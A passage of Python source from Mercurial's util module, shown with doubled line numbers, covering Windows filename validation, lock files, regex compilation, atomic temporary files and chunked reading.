1960 | 1960 | except (IOError, OSError): |
|
1961 | 1961 | hardlink = False |
|
1962 | 1962 | shutil.copy(src, dst) |
|
1963 | 1963 | else: |
|
1964 | 1964 | shutil.copy(src, dst) |
|
1965 | 1965 | num += 1 |
|
1966 | 1966 | if progress: |
|
1967 | 1967 | progress.increment() |
|
1968 | 1968 | |
|
1969 | 1969 | return hardlink, num |
|
1970 | 1970 | |
|
1971 | 1971 | |
|
1972 | 1972 | _winreservednames = { |
|
1973 | 1973 | b'con', |
|
1974 | 1974 | b'prn', |
|
1975 | 1975 | b'aux', |
|
1976 | 1976 | b'nul', |
|
1977 | 1977 | b'com1', |
|
1978 | 1978 | b'com2', |
|
1979 | 1979 | b'com3', |
|
1980 | 1980 | b'com4', |
|
1981 | 1981 | b'com5', |
|
1982 | 1982 | b'com6', |
|
1983 | 1983 | b'com7', |
|
1984 | 1984 | b'com8', |
|
1985 | 1985 | b'com9', |
|
1986 | 1986 | b'lpt1', |
|
1987 | 1987 | b'lpt2', |
|
1988 | 1988 | b'lpt3', |
|
1989 | 1989 | b'lpt4', |
|
1990 | 1990 | b'lpt5', |
|
1991 | 1991 | b'lpt6', |
|
1992 | 1992 | b'lpt7', |
|
1993 | 1993 | b'lpt8', |
|
1994 | 1994 | b'lpt9', |
|
1995 | 1995 | } |
|
1996 | 1996 | _winreservedchars = b':*?"<>|' |
|
1997 | 1997 | |
|
1998 | 1998 | |
|
1999 | 1999 | def checkwinfilename(path): |
|
2000 | 2000 | r'''Check that the base-relative path is a valid filename on Windows. |
|
2001 | 2001 | Returns None if the path is ok, or a UI string describing the problem. |
|
2002 | 2002 | |
|
2003 | 2003 | >>> checkwinfilename(b"just/a/normal/path") |
|
2004 | 2004 | >>> checkwinfilename(b"foo/bar/con.xml") |
|
2005 | 2005 | "filename contains 'con', which is reserved on Windows" |
|
2006 | 2006 | >>> checkwinfilename(b"foo/con.xml/bar") |
|
2007 | 2007 | "filename contains 'con', which is reserved on Windows" |
|
2008 | 2008 | >>> checkwinfilename(b"foo/bar/xml.con") |
|
2009 | 2009 | >>> checkwinfilename(b"foo/bar/AUX/bla.txt") |
|
2010 | 2010 | "filename contains 'AUX', which is reserved on Windows" |
|
2011 | 2011 | >>> checkwinfilename(b"foo/bar/bla:.txt") |
|
2012 | 2012 | "filename contains ':', which is reserved on Windows" |
|
2013 | 2013 | >>> checkwinfilename(b"foo/bar/b\07la.txt") |
|
2014 | 2014 | "filename contains '\\x07', which is invalid on Windows" |
|
2015 | 2015 | >>> checkwinfilename(b"foo/bar/bla ") |
|
2016 | 2016 | "filename ends with ' ', which is not allowed on Windows" |
|
2017 | 2017 | >>> checkwinfilename(b"../bar") |
|
2018 | 2018 | >>> checkwinfilename(b"foo\\") |
|
2019 | 2019 | "filename ends with '\\', which is invalid on Windows" |
|
2020 | 2020 | >>> checkwinfilename(b"foo\\/bar") |
|
2021 | 2021 | "directory name ends with '\\', which is invalid on Windows" |
|
2022 | 2022 | ''' |
|
2023 | 2023 | if path.endswith(b'\\'): |
|
2024 | 2024 | return _(b"filename ends with '\\', which is invalid on Windows") |
|
2025 | 2025 | if b'\\/' in path: |
|
2026 | 2026 | return _(b"directory name ends with '\\', which is invalid on Windows") |
|
2027 | 2027 | for n in path.replace(b'\\', b'/').split(b'/'): |
|
2028 | 2028 | if not n: |
|
2029 | 2029 | continue |
|
2030 | 2030 | for c in _filenamebytestr(n): |
|
2031 | 2031 | if c in _winreservedchars: |
|
2032 | 2032 | return ( |
|
2033 | 2033 | _( |
|
2034 | 2034 | b"filename contains '%s', which is reserved " |
|
2035 | 2035 | b"on Windows" |
|
2036 | 2036 | ) |
|
2037 | 2037 | % c |
|
2038 | 2038 | ) |
|
2039 | 2039 | if ord(c) <= 31: |
|
2040 | 2040 | return _( |
|
2041 | 2041 | b"filename contains '%s', which is invalid on Windows" |
|
2042 | 2042 | ) % stringutil.escapestr(c) |
|
2043 | 2043 | base = n.split(b'.')[0] |
|
2044 | 2044 | if base and base.lower() in _winreservednames: |
|
2045 | 2045 | return ( |
|
2046 | 2046 | _(b"filename contains '%s', which is reserved on Windows") |
|
2047 | 2047 | % base |
|
2048 | 2048 | ) |
|
2049 | 2049 | t = n[-1:] |
|
2050 | 2050 | if t in b'. ' and n not in b'..': |
|
2051 | 2051 | return ( |
|
2052 | 2052 | _( |
|
2053 | 2053 | b"filename ends with '%s', which is not allowed " |
|
2054 | 2054 | b"on Windows" |
|
2055 | 2055 | ) |
|
2056 | 2056 | % t |
|
2057 | 2057 | ) |
|
2058 | 2058 | |
|
2059 | 2059 | |
|
2060 | 2060 | timer = getattr(time, "perf_counter", None) |
|
2061 | 2061 | |
|
2062 | 2062 | if pycompat.iswindows: |
|
2063 | 2063 | checkosfilename = checkwinfilename |
|
2064 | 2064 | if not timer: |
|
2065 | 2065 | timer = time.clock |
|
2066 | 2066 | else: |
|
2067 | 2067 | # mercurial.windows doesn't have platform.checkosfilename |
|
2068 | 2068 | checkosfilename = platform.checkosfilename # pytype: disable=module-attr |
|
2069 | 2069 | if not timer: |
|
2070 | 2070 | timer = time.time |
|
2071 | 2071 | |
|
2072 | 2072 | |
|
2073 | 2073 | def makelock(info, pathname): |
|
2074 | 2074 | """Create a lock file atomically if possible |
|
2075 | 2075 | |
|
2076 | 2076 | This may leave a stale lock file if symlink isn't supported and signal |
|
2077 | 2077 | interrupt is enabled. |
|
2078 | 2078 | """ |
|
2079 | 2079 | try: |
|
2080 | 2080 | return os.symlink(info, pathname) |
|
2081 | 2081 | except OSError as why: |
|
2082 | 2082 | if why.errno == errno.EEXIST: |
|
2083 | 2083 | raise |
|
2084 | 2084 | except AttributeError: # no symlink in os |
|
2085 | 2085 | pass |
|
2086 | 2086 | |
|
2087 | 2087 | flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0) |
|
2088 | 2088 | ld = os.open(pathname, flags) |
|
2089 | 2089 | os.write(ld, info) |
|
2090 | 2090 | os.close(ld) |
|
2091 | 2091 | |
|
2092 | 2092 | |
|
2093 | 2093 | def readlock(pathname): |
|
2094 | 2094 | try: |
|
2095 | 2095 | return readlink(pathname) |
|
2096 | 2096 | except OSError as why: |
|
2097 | 2097 | if why.errno not in (errno.EINVAL, errno.ENOSYS): |
|
2098 | 2098 | raise |
|
2099 | 2099 | except AttributeError: # no symlink in os |
|
2100 | 2100 | pass |
|
2101 | 2101 | with posixfile(pathname, b'rb') as fp: |
|
2102 | 2102 | return fp.read() |
|
2103 | 2103 | |
|
2104 | 2104 | |
|
2105 | 2105 | def fstat(fp): |
|
2106 | 2106 | '''stat file object that may not have fileno method.''' |
|
2107 | 2107 | try: |
|
2108 | 2108 | return os.fstat(fp.fileno()) |
|
2109 | 2109 | except AttributeError: |
|
2110 | 2110 | return os.stat(fp.name) |
|
2111 | 2111 | |
|
2112 | 2112 | |
|
2113 | 2113 | # File system features |
|
2114 | 2114 | |
|
2115 | 2115 | |
|
2116 | 2116 | def fscasesensitive(path): |
|
2117 | 2117 | """ |
|
2118 | 2118 | Return true if the given path is on a case-sensitive filesystem |
|
2119 | 2119 | |
|
2120 | 2120 | Requires a path (like /foo/.hg) ending with a foldable final |
|
2121 | 2121 | directory component. |
|
2122 | 2122 | """ |
|
2123 | 2123 | s1 = os.lstat(path) |
|
2124 | 2124 | d, b = os.path.split(path) |
|
2125 | 2125 | b2 = b.upper() |
|
2126 | 2126 | if b == b2: |
|
2127 | 2127 | b2 = b.lower() |
|
2128 | 2128 | if b == b2: |
|
2129 | 2129 | return True # no evidence against case sensitivity |
|
2130 | 2130 | p2 = os.path.join(d, b2) |
|
2131 | 2131 | try: |
|
2132 | 2132 | s2 = os.lstat(p2) |
|
2133 | 2133 | if s2 == s1: |
|
2134 | 2134 | return False |
|
2135 | 2135 | return True |
|
2136 | 2136 | except OSError: |
|
2137 | 2137 | return True |
|
2138 | 2138 | |
|
2139 | 2139 | |
|
2140 | 2140 | try: |
|
2141 | 2141 | import re2 # pytype: disable=import-error |
|
2142 | 2142 | |
|
2143 | 2143 | _re2 = None |
|
2144 | 2144 | except ImportError: |
|
2145 | 2145 | _re2 = False |
|
2146 | 2146 | |
|
2147 | 2147 | |
|
2148 | 2148 | class _re(object): |
|
2149 | 2149 | def _checkre2(self): |
|
2150 | 2150 | global _re2 |
|
2151 | 2151 | try: |
|
2152 | 2152 | # check if match works, see issue3964 |
|
2153 | 2153 | _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]')) |
|
2154 | 2154 | except ImportError: |
|
2155 | 2155 | _re2 = False |
|
2156 | 2156 | |
|
2157 | 2157 | def compile(self, pat, flags=0): |
|
2158 | 2158 | '''Compile a regular expression, using re2 if possible |
|
2159 | 2159 | |
|
2160 | 2160 | For best performance, use only re2-compatible regexp features. The |
|
2161 | 2161 | only flags from the re module that are re2-compatible are |
|
2162 | 2162 | IGNORECASE and MULTILINE.''' |
|
2163 | 2163 | if _re2 is None: |
|
2164 | 2164 | self._checkre2() |
|
2165 | 2165 | if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0: |
|
2166 | 2166 | if flags & remod.IGNORECASE: |
|
2167 | 2167 | pat = b'(?i)' + pat |
|
2168 | 2168 | if flags & remod.MULTILINE: |
|
2169 | 2169 | pat = b'(?m)' + pat |
|
2170 | 2170 | try: |
|
2171 | 2171 | return re2.compile(pat) |
|
2172 | 2172 | except re2.error: |
|
2173 | 2173 | pass |
|
2174 | 2174 | return remod.compile(pat, flags) |
|
2175 | 2175 | |
|
2176 | 2176 | @propertycache |
|
2177 | 2177 | def escape(self): |
|
2178 | 2178 | '''Return the version of escape corresponding to self.compile. |
|
2179 | 2179 | |
|
2180 | 2180 | This is imperfect because whether re2 or re is used for a particular |
|
2181 | 2181 | function depends on the flags, etc, but it's the best we can do. |
|
2182 | 2182 | ''' |
|
2183 | 2183 | global _re2 |
|
2184 | 2184 | if _re2 is None: |
|
2185 | 2185 | self._checkre2() |
|
2186 | 2186 | if _re2: |
|
2187 | 2187 | return re2.escape |
|
2188 | 2188 | else: |
|
2189 | 2189 | return remod.escape |
|
2190 | 2190 | |
|
2191 | 2191 | |
|
2192 | 2192 | re = _re() |
|
2193 | 2193 | |
|
2194 | 2194 | _fspathcache = {} |
|
2195 | 2195 | |
|
2196 | 2196 | |
|
2197 | 2197 | def fspath(name, root): |
|
2198 | 2198 | '''Get name in the case stored in the filesystem |
|
2199 | 2199 | |
|
2200 | 2200 | The name should be relative to root, and be normcase-ed for efficiency. |
|
2201 | 2201 | |
|
2202 | 2202 | Note that this function is unnecessary, and should not be |
|
2203 | 2203 | called, for case-sensitive filesystems (simply because it's expensive). |
|
2204 | 2204 | |
|
2205 | 2205 | The root should be normcase-ed, too. |
|
2206 | 2206 | ''' |
|
2207 | 2207 | |
|
2208 | 2208 | def _makefspathcacheentry(dir): |
|
2209 | 2209 | return dict((normcase(n), n) for n in os.listdir(dir)) |
|
2210 | 2210 | |
|
2211 | 2211 | seps = pycompat.ossep |
|
2212 | 2212 | if pycompat.osaltsep: |
|
2213 | 2213 | seps = seps + pycompat.osaltsep |
|
2214 | 2214 | # Protect backslashes. This gets silly very quickly. |
|
2215 | 2215 | seps.replace(b'\\', b'\\\\') |
|
2216 | 2216 | pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps)) |
|
2217 | 2217 | dir = os.path.normpath(root) |
|
2218 | 2218 | result = [] |
|
2219 | 2219 | for part, sep in pattern.findall(name): |
|
2220 | 2220 | if sep: |
|
2221 | 2221 | result.append(sep) |
|
2222 | 2222 | continue |
|
2223 | 2223 | |
|
2224 | 2224 | if dir not in _fspathcache: |
|
2225 | 2225 | _fspathcache[dir] = _makefspathcacheentry(dir) |
|
2226 | 2226 | contents = _fspathcache[dir] |
|
2227 | 2227 | |
|
2228 | 2228 | found = contents.get(part) |
|
2229 | 2229 | if not found: |
|
2230 | 2230 | # retry "once per directory" per "dirstate.walk" which |
|
2231 | 2231 | # may take place for each patches of "hg qpush", for example |
|
2232 | 2232 | _fspathcache[dir] = contents = _makefspathcacheentry(dir) |
|
2233 | 2233 | found = contents.get(part) |
|
2234 | 2234 | |
|
2235 | 2235 | result.append(found or part) |
|
2236 | 2236 | dir = os.path.join(dir, part) |
|
2237 | 2237 | |
|
2238 | 2238 | return b''.join(result) |
|
2239 | 2239 | |
|
2240 | 2240 | |
|
2241 | 2241 | def checknlink(testfile): |
|
2242 | 2242 | '''check whether hardlink count reporting works properly''' |
|
2243 | 2243 | |
|
2244 | 2244 | # testfile may be open, so we need a separate file for checking to |
|
2245 | 2245 | # work around issue2543 (or testfile may get lost on Samba shares) |
|
2246 | 2246 | f1, f2, fp = None, None, None |
|
2247 | 2247 | try: |
|
2248 | 2248 | fd, f1 = pycompat.mkstemp( |
|
2249 | 2249 | prefix=b'.%s-' % os.path.basename(testfile), |
|
2250 | 2250 | suffix=b'1~', |
|
2251 | 2251 | dir=os.path.dirname(testfile), |
|
2252 | 2252 | ) |
|
2253 | 2253 | os.close(fd) |
|
2254 | 2254 | f2 = b'%s2~' % f1[:-2] |
|
2255 | 2255 | |
|
2256 | 2256 | oslink(f1, f2) |
|
2257 | 2257 | # nlinks() may behave differently for files on Windows shares if |
|
2258 | 2258 | # the file is open. |
|
2259 | 2259 | fp = posixfile(f2) |
|
2260 | 2260 | return nlinks(f2) > 1 |
|
2261 | 2261 | except OSError: |
|
2262 | 2262 | return False |
|
2263 | 2263 | finally: |
|
2264 | 2264 | if fp is not None: |
|
2265 | 2265 | fp.close() |
|
2266 | 2266 | for f in (f1, f2): |
|
2267 | 2267 | try: |
|
2268 | 2268 | if f is not None: |
|
2269 | 2269 | os.unlink(f) |
|
2270 | 2270 | except OSError: |
|
2271 | 2271 | pass |
|
2272 | 2272 | |
|
2273 | 2273 | |
|
2274 | 2274 | def endswithsep(path): |
|
2275 | 2275 | '''Check path ends with os.sep or os.altsep.''' |
|
2276 | 2276 | return ( |
|
2277 | 2277 | path.endswith(pycompat.ossep) |
|
2278 | 2278 | or pycompat.osaltsep |
|
2279 | 2279 | and path.endswith(pycompat.osaltsep) |
|
2280 | 2280 | ) |
|
2281 | 2281 | |
|
2282 | 2282 | |
|
2283 | 2283 | def splitpath(path): |
|
2284 | 2284 | '''Split path by os.sep. |
|
2285 | 2285 | Note that this function does not use os.altsep because this is |
|
2286 | 2286 | an alternative of simple "xxx.split(os.sep)". |
|
2287 | 2287 | It is recommended to use os.path.normpath() before using this |
|
2288 | 2288 | function if need.''' |
|
2289 | 2289 | return path.split(pycompat.ossep) |
|
2290 | 2290 | |
|
2291 | 2291 | |
|
2292 | 2292 | def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False): |
|
2293 | 2293 | """Create a temporary file with the same contents from name |
|
2294 | 2294 | |
|
2295 | 2295 | The permission bits are copied from the original file. |
|
2296 | 2296 | |
|
2297 | 2297 | If the temporary file is going to be truncated immediately, you |
|
2298 | 2298 | can use emptyok=True as an optimization. |
|
2299 | 2299 | |
|
2300 | 2300 | Returns the name of the temporary file. |
|
2301 | 2301 | """ |
|
2302 | 2302 | d, fn = os.path.split(name) |
|
2303 | 2303 | fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d) |
|
2304 | 2304 | os.close(fd) |
|
2305 | 2305 | # Temporary files are created with mode 0600, which is usually not |
|
2306 | 2306 | # what we want. If the original file already exists, just copy |
|
2307 | 2307 | # its mode. Otherwise, manually obey umask. |
|
2308 | 2308 | copymode(name, temp, createmode, enforcewritable) |
|
2309 | 2309 | |
|
2310 | 2310 | if emptyok: |
|
2311 | 2311 | return temp |
|
2312 | 2312 | try: |
|
2313 | 2313 | try: |
|
2314 | 2314 | ifp = posixfile(name, b"rb") |
|
2315 | 2315 | except IOError as inst: |
|
2316 | 2316 | if inst.errno == errno.ENOENT: |
|
2317 | 2317 | return temp |
|
2318 | 2318 | if not getattr(inst, 'filename', None): |
|
2319 | 2319 | inst.filename = name |
|
2320 | 2320 | raise |
|
2321 | 2321 | ofp = posixfile(temp, b"wb") |
|
2322 | 2322 | for chunk in filechunkiter(ifp): |
|
2323 | 2323 | ofp.write(chunk) |
|
2324 | 2324 | ifp.close() |
|
2325 | 2325 | ofp.close() |
|
2326 | 2326 | except: # re-raises |
|
2327 | 2327 | try: |
|
2328 | 2328 | os.unlink(temp) |
|
2329 | 2329 | except OSError: |
|
2330 | 2330 | pass |
|
2331 | 2331 | raise |
|
2332 | 2332 | return temp |
|
2333 | 2333 | |
|
2334 | 2334 | |
|
2335 | 2335 | class filestat(object): |
|
2336 | 2336 | """help to exactly detect change of a file |
|
2337 | 2337 | |
|
2338 | 2338 | 'stat' attribute is result of 'os.stat()' if specified 'path' |
|
2339 | 2339 | exists. Otherwise, it is None. This can avoid preparative |
|
2340 | 2340 | 'exists()' examination on client side of this class. |
|
2341 | 2341 | """ |
|
2342 | 2342 | |
|
2343 | 2343 | def __init__(self, stat): |
|
2344 | 2344 | self.stat = stat |
|
2345 | 2345 | |
|
2346 | 2346 | @classmethod |
|
2347 | 2347 | def frompath(cls, path): |
|
2348 | 2348 | try: |
|
2349 | 2349 | stat = os.stat(path) |
|
2350 | 2350 | except OSError as err: |
|
2351 | 2351 | if err.errno != errno.ENOENT: |
|
2352 | 2352 | raise |
|
2353 | 2353 | stat = None |
|
2354 | 2354 | return cls(stat) |
|
2355 | 2355 | |
|
2356 | 2356 | @classmethod |
|
2357 | 2357 | def fromfp(cls, fp): |
|
2358 | 2358 | stat = os.fstat(fp.fileno()) |
|
2359 | 2359 | return cls(stat) |
|
2360 | 2360 | |
|
2361 | 2361 | __hash__ = object.__hash__ |
|
2362 | 2362 | |
|
2363 | 2363 | def __eq__(self, old): |
|
2364 | 2364 | try: |
|
2365 | 2365 | # if ambiguity between stat of new and old file is |
|
2366 | 2366 | # avoided, comparison of size, ctime and mtime is enough |
|
2367 | 2367 | # to exactly detect change of a file regardless of platform |
|
2368 | 2368 | return ( |
|
2369 | 2369 | self.stat.st_size == old.stat.st_size |
|
2370 | 2370 | and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] |
|
2371 | 2371 | and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME] |
|
2372 | 2372 | ) |
|
2373 | 2373 | except AttributeError: |
|
2374 | 2374 | pass |
|
2375 | 2375 | try: |
|
2376 | 2376 | return self.stat is None and old.stat is None |
|
2377 | 2377 | except AttributeError: |
|
2378 | 2378 | return False |
|
2379 | 2379 | |
|
2380 | 2380 | def isambig(self, old): |
|
2381 | 2381 | """Examine whether new (= self) stat is ambiguous against old one |
|
2382 | 2382 | |
|
2383 | 2383 | "S[N]" below means stat of a file at N-th change: |
|
2384 | 2384 | |
|
2385 | 2385 | - S[n-1].ctime < S[n].ctime: can detect change of a file |
|
2386 | 2386 | - S[n-1].ctime == S[n].ctime |
|
2387 | 2387 | - S[n-1].ctime < S[n].mtime: means natural advancing (*1) |
|
2388 | 2388 | - S[n-1].ctime == S[n].mtime: is ambiguous (*2) |
|
2389 | 2389 | - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care) |
|
2390 | 2390 | - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care) |
|
2391 | 2391 | |
|
2392 | 2392 | Case (*2) above means that a file was changed twice or more at |
|
2393 | 2393 | same time in sec (= S[n-1].ctime), and comparison of timestamp |
|
2394 | 2394 | is ambiguous. |
|
2395 | 2395 | |
|
2396 | 2396 | Base idea to avoid such ambiguity is "advance mtime 1 sec, if |
|
2397 | 2397 | timestamp is ambiguous". |
|
2398 | 2398 | |
|
2399 | 2399 | But advancing mtime only in case (*2) doesn't work as |
|
2400 | 2400 | expected, because naturally advanced S[n].mtime in case (*1) |
|
2401 | 2401 | might be equal to manually advanced S[n-1 or earlier].mtime. |
|
2402 | 2402 | |
|
2403 | 2403 | Therefore, all "S[n-1].ctime == S[n].ctime" cases should be |
|
2404 | 2404 | treated as ambiguous regardless of mtime, to avoid overlooking |
|
2405 | 2405 | by confliction between such mtime. |
|
2406 | 2406 | |
|
2407 | 2407 | Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime != |
|
2408 | 2408 | S[n].mtime", even if size of a file isn't changed. |
|
2409 | 2409 | """ |
|
2410 | 2410 | try: |
|
2411 | 2411 | return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] |
|
2412 | 2412 | except AttributeError: |
|
2413 | 2413 | return False |
|
2414 | 2414 | |
|
2415 | 2415 | def avoidambig(self, path, old): |
|
2416 | 2416 | """Change file stat of specified path to avoid ambiguity |
|
2417 | 2417 | |
|
2418 | 2418 | 'old' should be previous filestat of 'path'. |
|
2419 | 2419 | |
|
2420 | 2420 | This skips avoiding ambiguity, if a process doesn't have |
|
2421 | 2421 | appropriate privileges for 'path'. This returns False in this |
|
2422 | 2422 | case. |
|
2423 | 2423 | |
|
2424 | 2424 | Otherwise, this returns True, as "ambiguity is avoided". |
|
2425 | 2425 | """ |
|
2426 | 2426 | advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF |
|
2427 | 2427 | try: |
|
2428 | 2428 | os.utime(path, (advanced, advanced)) |
|
2429 | 2429 | except OSError as inst: |
|
2430 | 2430 | if inst.errno == errno.EPERM: |
|
2431 | 2431 | # utime() on the file created by another user causes EPERM, |
|
2432 | 2432 | # if a process doesn't have appropriate privileges |
|
2433 | 2433 | return False |
|
2434 | 2434 | raise |
|
2435 | 2435 | return True |
|
2436 | 2436 | |
|
2437 | 2437 | def __ne__(self, other): |
|
2438 | 2438 | return not self == other |
|
2439 | 2439 | |
|
2440 | 2440 | |
|
2441 | 2441 | class atomictempfile(object): |
|
2442 | 2442 | '''writable file object that atomically updates a file |
|
2443 | 2443 | |
|
2444 | 2444 | All writes will go to a temporary copy of the original file. Call |
|
2445 | 2445 | close() when you are done writing, and atomictempfile will rename |
|
2446 | 2446 | the temporary copy to the original name, making the changes |
|
2447 | 2447 | visible. If the object is destroyed without being closed, all your |
|
2448 | 2448 | writes are discarded. |
|
2449 | 2449 | |
|
2450 | 2450 | checkambig argument of constructor is used with filestat, and is |
|
2451 | 2451 | useful only if target file is guarded by any lock (e.g. repo.lock |
|
2452 | 2452 | or repo.wlock). |
|
2453 | 2453 | ''' |
|
2454 | 2454 | |
|
2455 | 2455 | def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False): |
|
2456 | 2456 | self.__name = name # permanent name |
|
2457 | 2457 | self._tempname = mktempcopy( |
|
2458 | 2458 | name, |
|
2459 | 2459 | emptyok=(b'w' in mode), |
|
2460 | 2460 | createmode=createmode, |
|
2461 | 2461 | enforcewritable=(b'w' in mode), |
|
2462 | 2462 | ) |
|
2463 | 2463 | |
|
2464 | 2464 | self._fp = posixfile(self._tempname, mode) |
|
2465 | 2465 | self._checkambig = checkambig |
|
2466 | 2466 | |
|
2467 | 2467 | # delegated methods |
|
2468 | 2468 | self.read = self._fp.read |
|
2469 | 2469 | self.write = self._fp.write |
|
2470 | 2470 | self.seek = self._fp.seek |
|
2471 | 2471 | self.tell = self._fp.tell |
|
2472 | 2472 | self.fileno = self._fp.fileno |
|
2473 | 2473 | |
|
2474 | 2474 | def close(self): |
|
2475 | 2475 | if not self._fp.closed: |
|
2476 | 2476 | self._fp.close() |
|
2477 | 2477 | filename = localpath(self.__name) |
|
2478 | 2478 | oldstat = self._checkambig and filestat.frompath(filename) |
|
2479 | 2479 | if oldstat and oldstat.stat: |
|
2480 | 2480 | rename(self._tempname, filename) |
|
2481 | 2481 | newstat = filestat.frompath(filename) |
|
2482 | 2482 | if newstat.isambig(oldstat): |
|
2483 | 2483 | # stat of changed file is ambiguous to original one |
|
2484 | 2484 | advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF |
|
2485 | 2485 | os.utime(filename, (advanced, advanced)) |
|
2486 | 2486 | else: |
|
2487 | 2487 | rename(self._tempname, filename) |
|
2488 | 2488 | |
|
2489 | 2489 | def discard(self): |
|
2490 | 2490 | if not self._fp.closed: |
|
2491 | 2491 | try: |
|
2492 | 2492 | os.unlink(self._tempname) |
|
2493 | 2493 | except OSError: |
|
2494 | 2494 | pass |
|
2495 | 2495 | self._fp.close() |
|
2496 | 2496 | |
|
2497 | 2497 | def __del__(self): |
|
2498 | 2498 | if safehasattr(self, '_fp'): # constructor actually did something |
|
2499 | 2499 | self.discard() |
|
2500 | 2500 | |
|
2501 | 2501 | def __enter__(self): |
|
2502 | 2502 | return self |
|
2503 | 2503 | |
|
2504 | 2504 | def __exit__(self, exctype, excvalue, traceback): |
|
2505 | 2505 | if exctype is not None: |
|
2506 | 2506 | self.discard() |
|
2507 | 2507 | else: |
|
2508 | 2508 | self.close() |
|
2509 | 2509 | |
|
2510 | 2510 | |
|
2511 | 2511 | def unlinkpath(f, ignoremissing=False, rmdir=True): |
|
2512 | 2512 | """unlink and remove the directory if it is empty""" |
|
2513 | 2513 | if ignoremissing: |
|
2514 | 2514 | tryunlink(f) |
|
2515 | 2515 | else: |
|
2516 | 2516 | unlink(f) |
|
2517 | 2517 | if rmdir: |
|
2518 | 2518 | # try removing directories that might now be empty |
|
2519 | 2519 | try: |
|
2520 | 2520 | removedirs(os.path.dirname(f)) |
|
2521 | 2521 | except OSError: |
|
2522 | 2522 | pass |
|
2523 | 2523 | |
|
2524 | 2524 | |
|
2525 | 2525 | def tryunlink(f): |
|
2526 | 2526 | """Attempt to remove a file, ignoring ENOENT errors.""" |
|
2527 | 2527 | try: |
|
2528 | 2528 | unlink(f) |
|
2529 | 2529 | except OSError as e: |
|
2530 | 2530 | if e.errno != errno.ENOENT: |
|
2531 | 2531 | raise |
|
2532 | 2532 | |
|
2533 | 2533 | |
|
2534 | 2534 | def makedirs(name, mode=None, notindexed=False): |
|
2535 | 2535 | """recursive directory creation with parent mode inheritance |
|
2536 | 2536 | |
|
2537 | 2537 | Newly created directories are marked as "not to be indexed by |
|
2538 | 2538 | the content indexing service", if ``notindexed`` is specified |
|
2539 | 2539 | for "write" mode access. |
|
2540 | 2540 | """ |
|
2541 | 2541 | try: |
|
2542 | 2542 | makedir(name, notindexed) |
|
2543 | 2543 | except OSError as err: |
|
2544 | 2544 | if err.errno == errno.EEXIST: |
|
2545 | 2545 | return |
|
2546 | 2546 | if err.errno != errno.ENOENT or not name: |
|
2547 | 2547 | raise |
|
2548 | 2548 | parent = os.path.dirname(os.path.abspath(name)) |
|
2549 | 2549 | if parent == name: |
|
2550 | 2550 | raise |
|
2551 | 2551 | makedirs(parent, mode, notindexed) |
|
2552 | 2552 | try: |
|
2553 | 2553 | makedir(name, notindexed) |
|
2554 | 2554 | except OSError as err: |
|
2555 | 2555 | # Catch EEXIST to handle races |
|
2556 | 2556 | if err.errno == errno.EEXIST: |
|
2557 | 2557 | return |
|
2558 | 2558 | raise |
|
2559 | 2559 | if mode is not None: |
|
2560 | 2560 | os.chmod(name, mode) |
|
2561 | 2561 | |
|
2562 | 2562 | |
|
2563 | 2563 | def readfile(path): |
|
2564 | 2564 | with open(path, b'rb') as fp: |
|
2565 | 2565 | return fp.read() |
|
2566 | 2566 | |
|
2567 | 2567 | |
|
2568 | 2568 | def writefile(path, text): |
|
2569 | 2569 | with open(path, b'wb') as fp: |
|
2570 | 2570 | fp.write(text) |
|
2571 | 2571 | |
|
2572 | 2572 | |
|
2573 | 2573 | def appendfile(path, text): |
|
2574 | 2574 | with open(path, b'ab') as fp: |
|
2575 | 2575 | fp.write(text) |
|
2576 | 2576 | |
|
2577 | 2577 | |
|
2578 | 2578 | class chunkbuffer(object): |
|
2579 | 2579 | """Allow arbitrary sized chunks of data to be efficiently read from an |
|
2580 | 2580 | iterator over chunks of arbitrary size.""" |
|
2581 | 2581 | |
|
2582 | 2582 | def __init__(self, in_iter): |
|
2583 | 2583 | """in_iter is the iterator that's iterating over the input chunks.""" |
|
2584 | 2584 | |
|
2585 | 2585 | def splitbig(chunks): |
|
2586 | 2586 | for chunk in chunks: |
|
2587 | 2587 | if len(chunk) > 2 ** 20: |
|
2588 | 2588 | pos = 0 |
|
2589 | 2589 | while pos < len(chunk): |
|
2590 | 2590 | end = pos + 2 ** 18 |
|
2591 | 2591 | yield chunk[pos:end] |
|
2592 | 2592 | pos = end |
|
2593 | 2593 | else: |
|
2594 | 2594 | yield chunk |
|
2595 | 2595 | |
|
2596 | 2596 | self.iter = splitbig(in_iter) |
|
2597 | 2597 | self._queue = collections.deque() |
|
2598 | 2598 | self._chunkoffset = 0 |
|
2599 | 2599 | |
|
2600 | 2600 | def read(self, l=None): |
|
2601 | 2601 | """Read L bytes of data from the iterator of chunks of data. |
|
2602 | 2602 | Returns less than L bytes if the iterator runs dry. |
|
2603 | 2603 | |
|
2604 | 2604 | If size parameter is omitted, read everything""" |
|
2605 | 2605 | if l is None: |
|
2606 | 2606 | return b''.join(self.iter) |
|
2607 | 2607 | |
|
2608 | 2608 | left = l |
|
2609 | 2609 | buf = [] |
|
2610 | 2610 | queue = self._queue |
|
2611 | 2611 | while left > 0: |
|
2612 | 2612 | # refill the queue |
|
2613 | 2613 | if not queue: |
|
2614 | 2614 | target = 2 ** 18 |
|
2615 | 2615 | for chunk in self.iter: |
|
2616 | 2616 | queue.append(chunk) |
|
2617 | 2617 | target -= len(chunk) |
|
2618 | 2618 | if target <= 0: |
|
2619 | 2619 | break |
|
2620 | 2620 | if not queue: |
|
2621 | 2621 | break |
|
2622 | 2622 | |
|
2623 | 2623 | # The easy way to do this would be to queue.popleft(), modify the |
|
2624 | 2624 | # chunk (if necessary), then queue.appendleft(). However, for cases |
|
2625 | 2625 | # where we read partial chunk content, this incurs 2 dequeue |
|
